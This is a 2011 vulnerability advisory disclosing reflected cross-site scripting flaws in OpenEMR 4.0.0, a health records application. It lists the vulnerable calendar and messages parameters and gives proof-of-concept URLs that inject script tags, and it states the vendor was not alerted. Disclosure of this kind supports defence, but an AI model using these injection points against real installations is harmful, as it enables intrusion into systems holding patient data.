OpenEMR 4.0.0 Cross Site Scripting

`# Exploit Title: OpenEMR 4.0.0 Multiple Cross Site Scripting (XSS)  
# Author: Houssam Sahli => backtronux<at>gmail<.>com  
  
# Date : August 3rd 2011  
# Product: OpenEMR 4.0.0   
# Vulnerable Version: 4.0.0(with the 2nd patch 04/15/2011)  
# Developer : OEMR  
# Download & Installation instructions link : http://open-emr.org/download.shtml  
# Vulnerability Type: Cross Site Scripting (XSS)  
# Risk level: High  
# Status: Not Fixed, Vendor Not Alerted  
# Remark : notice that these vulnerabilities are not fixed with the 2nd patch of 04/15/2011  
# Tested On : Windows XP SP3  
  
Summary :   
--------  
OpenEMR is a Free and Open Source electronic health records and medical practice management application. It is ONC modular "Meaningful Use" certified and it features fully integrated electronic health records, practice management, scheduling, electronic billing, internationalization, free support, a vibrant community, and a whole lot more. It can run on Windows, Linux, Mac OS X, and many other platforms.  
  
  
Vunerabilities :   
---------------  
User can execute arbitrary JavaScript code within the vulnerable application, vulnerabilities are detailed below :  
  
1 - Request: http://localhost/openemr/interface/main/calendar/index.php  
Source: Form (theform)   
Method: POST  
  
Parameter Name Parameter Type Severity  
tplview GET High  
pc_category GET High  
pc_topic GET High  
  
2 - Request: http://localhost/openemr/interface/main/calendar/index.php  
Source: Reference of: a  
Method: GET  
  
Parameter Name Parameter Type Severity  
tplview GET High  
pc_category GET High  
pc_topic GET High  
  
3 - Request: http://localhost/openemr/interface/main/messages/messages.php  
Source: Form (new_note)  
Method: POST  
  
Parameter Name Parameter Type Severity  
sortby GET High  
sortorder GET High  
begin GET High  
noteid POST High  
  
4 - Request: http://localhost/openemr/interface/main/messages/messages.php  
Source: Reference of: a  
Method: GET  
  
Parameter Name Parameter Type Severity  
sortby GET High  
sortorder GET High  
  
  
PoC :  
----  
http://localhost/openemr/interface/main/calendar/index.php?tplview='<script>alert('XSS');</script>  
http://localhost/openemr/interface/main/calendar/index.php?pc_category='<script>alert('XSS');</script>  
http://localhost/openemr/interface/main/calendar/index.php?pc_topic='<script>alert('XSS');</script>  
http://localhost/openemr/interface/main/messages/messages.php?sortby="<script>alert('XSS');</script>  
http://localhost/openemr/interface/main/messages/messages.php?sortorder="<script>alert('XSS');</script>  
http://localhost/openemr/interface/main/messages/messages.php?showall=no&sortby=users%2elname&sortorder=asc&begin=724286<">  
  
`